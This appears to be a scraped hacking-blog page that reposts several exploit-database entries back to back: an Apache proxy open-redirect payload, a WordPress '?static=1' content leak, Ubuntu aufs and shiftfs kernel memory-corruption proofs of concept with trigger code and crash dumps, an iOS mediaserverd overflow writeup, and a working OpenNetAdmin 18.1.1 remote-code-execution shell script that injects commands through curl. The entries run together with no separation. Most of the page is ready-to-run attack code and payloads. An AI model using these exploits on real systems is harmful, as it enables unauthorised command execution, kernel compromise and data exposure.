Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863595184

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

The trick is to use a vertical tab (`%09`) and then place another URL in the tag. So once a victim clicks the link on the error page, she will go somewhere else.

As you can see, the browser changes the destination from relative / to an absolute url https://enoflag.de. The exploit is `http://domain.tld/%09//otherdomain.tld`

Here's the httpd configuration to reproduce the behavior:

```
    <Location />
        ProxyPass http://127.0.0.1:9000/ connectiontimeout=1 timeout=2
        ProxyPassReverse http://127.0.0.1:9000/ 
        Order allow,deny
        Allow from all
    </Location>
```
            
So far we know that adding `?static=1` to a wordpress URL should leak its secret content

Here are a few ways to manipulate the returned entries:

- `order` with `asc` or `desc`
- `orderby`
- `m` with `m=YYYY`, `m=YYYYMM` or `m=YYYYMMDD` date format


In this case, simply reversing the order of the returned elements suffices and `http://wordpress.local/?static=1&order=asc` will show the secret content:
            
Tested on 19.10.

Ubuntu's aufs kernel patch includes the following change (which I interestingly
can't see in the AUFS code at
https://github.com/sfjro/aufs5-linux/blob/master/mm/mmap.c):

==================================================================
+#define vma_fput(vma)                  vma_do_fput(vma, __func__, __LINE__)
[...]
@@ -1847,8 +1847,8 @@ unsigned long mmap_region(struct file *file, unsigned long addr,
        return addr;
 
 unmap_and_free_vma:
+       vma_fput(vma);
        vma->vm_file = NULL;
-       fput(file);
 
        /* Undo any partial mapping done by a device driver. */
        unmap_region(mm, vma, prev, vma->vm_start, vma->vm_end);
[...]
+void vma_do_fput(struct vm_area_struct *vma, const char func[], int line)
+{
+       struct file *f = vma->vm_file, *pr = vma->vm_prfile;
+
+       prfile_trace(f, pr, func, line, __func__);
+       fput(f);
+       if (f && pr)
+               fput(pr);
+}
==================================================================

This means that in the case where call_mmap() returns an error to mmap_region(),
fput() will be called on the current value of vma->vm_file instead of the saved
file pointer. This matters if the ->mmap() handler replaces ->vm_file before
returning an error code.

overlayfs and shiftfs do that when call_mmap() on the lower filesystem fails,
see ovl_mmap() and shiftfs_mmap().

To demonstrate the issue, the PoC below mounts a shiftfs that is backed by a
FUSE filesystem with the FUSE flag FOPEN_DIRECT_IO, which causes fuse_file_mmap()
to bail out with -ENODEV if MAP_SHARED is set.

I would have used overlayfs instead, but there is an unrelated bug that makes it
impossible to mount overlayfs inside a user namespace:
Commit 82c0860106f264 ("UBUNTU: SAUCE: overlayfs: Propogate nosuid from lower
and upper mounts") defines SB_I_NOSUID as 0x00000010, but SB_I_USERNS_VISIBLE
already has the same value. This causes mount_too_revealing() to bail out with a
WARN_ONCE().

Note that this PoC requires the "bindfs" package and should be executed with
"slub_debug" in the kernel commandline to get a clear crash.

==================================================================
Ubuntu 19.10 user-Standard-PC-Q35-ICH9-2009 ttyS0

user-Standard-PC-Q35-ICH9-2009 login: user
Password: 
Last login: Fr Nov  1 23:45:36 CET 2019 on ttyS0
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-19-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


0 updates can be installed immediately.
0 of these updates are security updates.

user@user-Standard-PC-Q35-ICH9-2009:~$ ls
aufs-mmap  Documents  Music     Public     trace.dat
Desktop    Downloads  Pictures  Templates  Videos
user@user-Standard-PC-Q35-ICH9-2009:~$ cd aufs-mmap/
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat /proc/cmdline 
BOOT_IMAGE=/boot/vmlinuz-5.3.0-19-generic root=UUID=f7d8d4fb-0c96-498e-b875-0b777127a332 ro console=ttyS0 slub_debug quiet splash vt.handoff=7
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat run.sh
#!/bin/sh
sync
unshare -mUr ./run2.sh
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat run2.sh
#!/bin/bash
set -e

mount -t tmpfs none /tmp
mkdir -p /tmp/{lower,middle,upper}
touch /tmp/lower/foo
# mount some random FUSE filesystem with direct_io,
# doesn't really matter what it does as long as
# there's a file in it.
# (this is just to get some filesystem that can
# easily be convinced to throw errors from f_op->mmap)
bindfs -o direct_io /tmp/lower /tmp/middle
# use the FUSE filesystem to back shiftfs.
# overlayfs would also work if SB_I_NOSUID and
# SB_I_USERNS_VISIBLE weren't defined to the same
# value...
mount -t shiftfs -o mark /tmp/middle /tmp/upper
mount|grep shift
gcc -o trigger trigger.c -Wall
./trigger
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat trigger.c
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdio.h>

int main(void) {
  int foofd = open("/tmp/upper/foo", O_RDONLY);
  if (foofd == -1) err(1, "open foofd");
  void *badmap = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
  if (badmap == MAP_FAILED) {
    perror("badmap");
  } else {
    errx(1, "badmap worked???");
  }
  sleep(1);
  mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
}
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ ./run.sh 
/tmp/middle on /tmp/upper type shiftfs (rw,relatime,mark)
badmap: No such device
[   72.101721] general protection fault: 0000 [#1] SMP PTI
[   72.111917] CPU: 1 PID: 1376 Comm: trigger Not tainted 5.3.0-19-generic #20-Ubuntu
[   72.124846] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
[   72.140965] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[   72.149210] Code: 8b e0 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[   72.167229] RSP: 0018:ffffc1490061bd40 EFLAGS: 00010202
[   72.170426] RAX: 6b6b6b6b6b6b6b6b RBX: ffff9c1cf1ae5788 RCX: 7800000000000000
[   72.174528] RDX: 8000000000000025 RSI: ffff9c1cf14bfdc8 RDI: ffff9c1cc48b5900
[   72.177790] RBP: ffffc1490061bd60 R08: ffff9c1cf14bfdc8 R09: 0000000000000000
[   72.181199] R10: ffff9c1cf1ae5768 R11: 00007faa3eddb000 R12: ffff9c1cf1ae5790
[   72.186306] R13: ffff9c1cc48b7740 R14: ffff9c1cf14bfdc8 R15: ffff9c1cf7209740
[   72.189705] FS:  00007faa3ed9e540(0000) GS:ffff9c1cfbb00000(0000) knlGS:0000000000000000
[   72.193073] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   72.195390] CR2: 0000558ad728d3e0 CR3: 0000000144804003 CR4: 0000000000360ee0
[   72.198237] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   72.200557] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[   72.202815] Call Trace:
[   72.203712]  mmap_region+0x417/0x670
[   72.204868]  do_mmap+0x3a8/0x580
[   72.205939]  vm_mmap_pgoff+0xcb/0x120
[   72.207954]  ksys_mmap_pgoff+0x1ca/0x2a0
[   72.210078]  __x64_sys_mmap+0x33/0x40
[   72.211327]  do_syscall_64+0x5a/0x130
[   72.212538]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[   72.214177] RIP: 0033:0x7faa3ecc7af6
[   72.215352] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61
[   72.222275] RSP: 002b:00007ffd0fc44c68 EFLAGS: 00000246 ORIG_RAX: 0000000000000009
[   72.224714] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007faa3ecc7af6
[   72.228123] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000
[   72.230913] RBP: 0000000000000000 R08: 0000000000000003 R09: 0000000000000000
[   72.233193] R10: 0000000000000001 R11: 0000000000000246 R12: 0000556248213100
[   72.235448] R13: 00007ffd0fc44d70 R14: 0000000000000000 R15: 0000000000000000
[   72.237681] Modules linked in: shiftfs intel_rapl_msr snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi intel_rapl_common crct10dif_pclmul crc32_pclmul ghash_clmulni_intel aesni_intel aes_x86_64 crypto_simd snd_seq cryptd glue_helper joydev input_leds serio_raw snd_seq_device snd_timer snd qxl ttm soundcore qemu_fw_cfg drm_kms_helper drm fb_sys_fops syscopyarea sysfillrect sysimgblt mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover failover ahci psmouse lpc_ich i2c_i801 libahci virtio_blk
[   72.257673] ---[ end trace 5d85e7b7b0bae5f5 ]---
[   72.259237] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[   72.260990] Code: 8b e0 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[   72.269615] RSP: 0018:ffffc1490061bd40 EFLAGS: 00010202
[   72.271414] RAX: 6b6b6b6b6b6b6b6b RBX: ffff9c1cf1ae5788 RCX: 7800000000000000
[   72.273893] RDX: 8000000000000025 RSI: ffff9c1cf14bfdc8 RDI: ffff9c1cc48b5900
[   72.276354] RBP: ffffc1490061bd60 R08: ffff9c1cf14bfdc8 R09: 0000000000000000
[   72.278796] R10: ffff9c1cf1ae5768 R11: 00007faa3eddb000 R12: ffff9c1cf1ae5790
[   72.281095] R13: ffff9c1cc48b7740 R14: ffff9c1cf14bfdc8 R15: ffff9c1cf7209740
[   72.284048] FS:  00007faa3ed9e540(0000) GS:ffff9c1cfbb00000(0000) knlGS:0000000000000000
[   72.287161] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   72.289164] CR2: 0000558ad728d3e0 CR3: 0000000144804003 CR4: 0000000000360ee0
[   72.291953] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   72.294487] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
==================================================================

Faulting code:

0000000F  55                push rbp
00000010  4889E5            mov rbp,rsp
00000013  4157              push r15
00000015  4156              push r14
00000017  4155              push r13
00000019  4154              push r12
0000001B  488B87C8000000    mov rax,[rdi+0xc8]
00000022  4C8B6810          mov r13,[rax+0x10]
00000026  498B4528          mov rax,[r13+0x28]
0000002A  4883786000        cmp qword [rax+0x60],byte +0x0     <<<< GPF HERE
0000002F  0F8497000000      jz near 0xcc
00000035  4989FC            mov r12,rdi
00000038  4989F6            mov r14,rsi

As you can see, the poison value 6b6b6b6b6b6b6b6b is being dereferenced.
            
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

#!/bin/bash

URL="${1}"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
            
mediaserverd has various media parsing responsibilities; its reachable from various sandboxes
and is able to talk to interesting kernel drivers so is a valid target in an exploit chain.

One of the services it vends is com.apple.audio.AudioFileServer, a fairly simple XPC service
which will parse audio files on behalf of clients and send them the raw bytes.

Files are opened via their ipod-library:// URL; for the purposes of this PoC you will need to
ensure there is at least one audio file in the iTunes library
(I've used one of my highschool band's MP3s, available on request, it's not that bad!)

The files are actually parsed by the AudioFileReadPacketData method; here's the prototype from the docs:

OSStatus AudioFileReadPacketData(AudioFileID inAudioFile,
                                 Boolean inUseCache,
                                 UInt32 *ioNumBytes,
                                 AudioStreamPacketDescription *outPacketDescriptions,
                                 SInt64 inStartingPacket,
                                 UInt32 *ioNumPackets,
                                 void *outBuffer);

The docs tell us the meaning of the ioNumBytes and outBuffer arguments:

ioNumBytes
On input, the size of the outBuffer parameter, in bytes. On output, the number of bytes actually read.

outBuffer
Memory that you allocate to hold the read packets. Determine an appropriate size by multiplying
the number of packets requested (in the ioNumPackets parameter) by the typical packet size
for the audio data in the file. For uncompressed audio formats, a packet is equal to a frame.

For the purposes of the bug this function has memcpy semantics; the value pointed to
by ioNumBytes will be considered the correct size of the output buffer;
AudioFileReadPacketData will be unable to verify that; it's up to the caller.

Looking at the code which calls this the values are derived from three values passed
in the 'read' xpc message:

numbytes (uint64), numpackets (uint64), startingPacket (int64)

Those values are truncated to 32 bits then passed through a few layers of function calls during which
various integer overflow occur when they're multiplied and added (there are no checks anywhere.)

You eventually end up in a curious allocation routine which is able to allocate three different types of
shared memory using either mach memory entries, posix shm or xpc_shmem. This service uses posix_shm,
the PoC should cause mediaserverd to shm_truncate and mmap a 0x4000 byte region,
then attempt to write significantly more bytes there.

In the debug_output.txt file you can see the debug output and crash log demonstrating that audio data has clearly
corrupted an object and caused a pointer to be overwritten with audio data.

Tested on iOS 12.4 (16G77) on iPod touch 6G


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47694.zip
            
Tested on Ubuntu 19.10, kernel "5.3.0-19-generic #20-Ubuntu".

Ubuntu ships a filesystem "shiftfs" in fs/shiftfs.c in the kernel tree that
doesn't exist upstream. This filesystem can be mounted from user namespaces,
meaning that this is attack surface from unprivileged userspace in the default
installation.

There are two memory safety bugs around shiftfs_btrfs_ioctl_fd_replace().

#################### Bug 1: Flawed reference counting ####################

In shiftfs_btrfs_ioctl_fd_replace() ("//" comments added by me):


	src = fdget(oldfd);
	if (!src.file)
		return -EINVAL;
	// src holds one reference (assuming multithreaded execution)

	ret = shiftfs_real_fdget(src.file, lfd);
	// lfd->file is a file* now, but shiftfs_real_fdget didn't take any
	// extra references
	fdput(src);
	// this drops the only reference we were holding on src, and src was
	// the only thing holding a reference to lfd->file. lfd->file may be
	// dangling at this point.
	if (ret)
		return ret;

	*newfd = get_unused_fd_flags(lfd->file->f_flags);
	if (*newfd < 0) {
		// always a no-op
		fdput(*lfd);
		return *newfd;
	}

	fd_install(*newfd, lfd->file);
	// fd_install() consumes a counted reference, but we don't hold any
	// counted references. so at this point, if lfd->file hasn't been freed
	// yet, its refcount is one lower than it ought to be.

	[...]

	// the following code is refcount-neutral, so the refcount stays one too
	// low.
	if (ret)
		shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2);


shiftfs_real_fdget() is implemented as follows:

static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
{
	struct shiftfs_file_info *file_info = file->private_data;
	struct file *realfile = file_info->realfile;

	lowerfd->flags = 0;
	lowerfd->file = realfile;

	/* Did the flags change since open? */
	if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
		return shiftfs_change_flags(lowerfd->file, file->f_flags);

	return 0;
}

Therefore, the following PoC will cause reference count overdecrements; I ran it
with SLUB debugging enabled and got the following splat:

=======================================
user@ubuntu1910vm:~/shiftfs$ cat run.sh
#!/bin/sh
sync
unshare -mUr ./run2.sh
t run2user@ubuntu1910vm:~/shiftfs$ cat run2.sh
#!/bin/sh
set -e

mkdir -p mnt/tmpfs
mkdir -p mnt/shiftfs
mount -t tmpfs none mnt/tmpfs
mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
mount|grep shift
touch mnt/tmpfs/foo
gcc -o ioctl ioctl.c -Wall
./ioctl
user@ubuntu1910vm:~/shiftfs$ cat ioctl.c
#include <sys/ioctl.h>
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <linux/btrfs.h>
#include <sys/mman.h>

int main(void) {
  int root = open("mnt/shiftfs", O_RDONLY);
  if (root == -1) err(1, "open shiftfs root");
  int foofd = openat(root, "foo", O_RDONLY);
  if (foofd == -1) err(1, "open foofd");
  struct btrfs_ioctl_vol_args iocarg = {
    .fd = foofd
  };
  ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
  sleep(1);
  void *map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
  if (map != MAP_FAILED) munmap(map, 0x1000);
}
user@ubuntu1910vm:~/shiftfs$ ./run.sh
none on /home/user/shiftfs/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
/home/user/shiftfs/mnt/tmpfs on /home/user/shiftfs/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
[  183.463452] general protection fault: 0000 [#1] SMP PTI
[  183.467068] CPU: 1 PID: 2473 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
[  183.472170] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
[  183.476830] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[  183.478524] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[  183.484585] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
[  183.486290] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
[  183.489617] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
[  183.491975] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
[  183.494311] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
[  183.496675] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
[  183.499011] FS:  00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
[  183.501679] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  183.503568] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
[  183.505901] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[  183.508229] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[  183.510580] Call Trace:
[  183.511396]  mmap_region+0x417/0x670
[  183.512592]  do_mmap+0x3a8/0x580
[  183.513655]  vm_mmap_pgoff+0xcb/0x120
[  183.514863]  ksys_mmap_pgoff+0x1ca/0x2a0
[  183.516155]  __x64_sys_mmap+0x33/0x40
[  183.517352]  do_syscall_64+0x5a/0x130
[  183.518548]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  183.520196] RIP: 0033:0x7f1d01bfaaf6
[  183.521372] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61
[  183.527210] RSP: 002b:00007ffdf50bae98 EFLAGS: 00000246 ORIG_RAX: 0000000000000009
[  183.529582] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007f1d01bfaaf6
[  183.531811] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000
[  183.533999] RBP: 0000000000000000 R08: 0000000000000004 R09: 0000000000000000
[  183.536199] R10: 0000000000000001 R11: 0000000000000246 R12: 00005616cf6f5140
[  183.538448] R13: 00007ffdf50bbfb0 R14: 0000000000000000 R15: 0000000000000000
[  183.540714] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm irqbypass snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core crct10dif_pclmul snd_hwdep crc32_pclmul ghash_clmulni_intel snd_pcm aesni_intel snd_seq_midi snd_seq_midi_event aes_x86_64 crypto_simd snd_rawmidi cryptd joydev input_leds snd_seq glue_helper qxl snd_seq_device snd_timer ttm drm_kms_helper drm snd fb_sys_fops syscopyarea sysfillrect sysimgblt serio_raw qemu_fw_cfg soundcore mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover psmouse ahci i2c_i801 libahci lpc_ich virtio_blk failover
[  183.560350] ---[ end trace 4a860910803657c2 ]---
[  183.561832] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[  183.563496] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[  183.569438] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
[  183.571102] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
[  183.573362] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
[  183.575655] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
[  183.577893] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
[  183.580166] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
[  183.582411] FS:  00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
[  183.584960] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  183.586796] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
[  183.589035] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[  183.591279] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
=======================================

Disassembly of surrounding code:

55                push rbp
4889E5            mov rbp,rsp
4157              push r15
4156              push r14
4155              push r13
4154              push r12
488B87C8000000    mov rax,[rdi+0xc8]
4C8B6810          mov r13,[rax+0x10]
498B4528          mov rax,[r13+0x28]
4883786000        cmp qword [rax+0x60],byte +0x0 <-- GPF HERE
0F8497000000      jz near 0xcc
4989FC            mov r12,rdi
4989F6            mov r14,rsi

This is an attempted dereference of 0x6b6b6b6b6b6b6b6b, which is POISON_FREE; I
think this corresponds to the load of "realfile->f_op->mmap" in the source code.



#################### Bug 2: Type confusion ####################

shiftfs_btrfs_ioctl_fd_replace() calls fdget(oldfd), then without further checks
passes the resulting file* into shiftfs_real_fdget(), which does this:

static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
{
	struct shiftfs_file_info *file_info = file->private_data;
	struct file *realfile = file_info->realfile;

	lowerfd->flags = 0;
	lowerfd->file = realfile;

	/* Did the flags change since open? */
	if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
		return shiftfs_change_flags(lowerfd->file, file->f_flags);

	return 0;
}

file->private_data is a void* that points to a filesystem-dependent type; and
some filesystems even use it to store a type-cast number instead of a pointer.
The implicit cast to a "struct shiftfs_file_info *" can therefore be a bad cast.

As a PoC, here I'm causing a type confusion between struct shiftfs_file_info
(with ->realfile at offset 0x10) and struct mm_struct (with vmacache_seqnum at
offset 0x10), and I use that to cause a memory dereference somewhere around
0x4242:


=======================================
user@ubuntu1910vm:~/shiftfs_confuse$ cat run.sh
#!/bin/sh
sync
unshare -mUr ./run2.sh
user@ubuntu1910vm:~/shiftfs_confuse$ cat run2.sh
#!/bin/sh
set -e

mkdir -p mnt/tmpfs
mkdir -p mnt/shiftfs
mount -t tmpfs none mnt/tmpfs
mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
mount|grep shift
gcc -o ioctl ioctl.c -Wall
./ioctl
user@ubuntu1910vm:~/shiftfs_confuse$ cat ioctl.c
#include <sys/ioctl.h>
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <linux/btrfs.h>
#include <sys/mman.h>

int main(void) {
  // make our vmacache sequence number something like 0x4242
  for (int i=0; i<0x4242; i++) {
    void *x = mmap((void*)0x100000000UL, 0x1000, PROT_READ,
        MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    if (x == MAP_FAILED) err(1, "mmap vmacache seqnum");
    munmap(x, 0x1000);
  }

  int root = open("mnt/shiftfs", O_RDONLY);
  if (root == -1) err(1, "open shiftfs root");
  int foofd = open("/proc/self/environ", O_RDONLY);
  if (foofd == -1) err(1, "open foofd");
  // trigger the confusion
  struct btrfs_ioctl_vol_args iocarg = {
    .fd = foofd
  };
  ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
}
user@ubuntu1910vm:~/shiftfs_confuse$ ./run.sh
none on /home/user/shiftfs_confuse/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
/home/user/shiftfs_confuse/mnt/tmpfs on /home/user/shiftfs_confuse/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
[  348.103005] BUG: unable to handle page fault for address: 0000000000004289
[  348.105060] #PF: supervisor read access in kernel mode
[  348.106573] #PF: error_code(0x0000) - not-present page
[  348.108102] PGD 0 P4D 0 
[  348.108871] Oops: 0000 [#1] SMP PTI
[  348.109912] CPU: 6 PID: 2192 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
[  348.112109] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
[  348.114460] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
[  348.116166] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
[  348.121578] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
[  348.123097] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
[  348.125174] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
[  348.127222] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
[  348.129288] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
[  348.131358] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
[  348.133421] FS:  00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
[  348.135753] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  348.137413] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
[  348.139451] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[  348.141516] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[  348.143545] Call Trace:
[  348.144272]  shiftfs_ioctl+0x65/0x76 [shiftfs]
[  348.145562]  do_vfs_ioctl+0x407/0x670
[  348.146620]  ? putname+0x4a/0x50
[  348.147556]  ksys_ioctl+0x67/0x90
[  348.148514]  __x64_sys_ioctl+0x1a/0x20
[  348.149593]  do_syscall_64+0x5a/0x130
[  348.150658]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  348.152108] RIP: 0033:0x7f77fa76767b
[  348.153140] Code: 0f 1e fa 48 8b 05 15 28 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e5 27 0d 00 f7 d8 64 89 01 48
[  348.158466] RSP: 002b:00007ffd875582e8 EFLAGS: 00000217 ORIG_RAX: 0000000000000010
[  348.160610] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f77fa76767b
[  348.162644] RDX: 00007ffd87558310 RSI: 0000000050009401 RDI: 0000000000000003
[  348.164680] RBP: 00007ffd87559320 R08: 00000000ffffffff R09: 0000000000000000
[  348.167456] R10: 0000000000000000 R11: 0000000000000217 R12: 0000561c135ee100
[  348.169530] R13: 00007ffd87559400 R14: 0000000000000000 R15: 0000000000000000
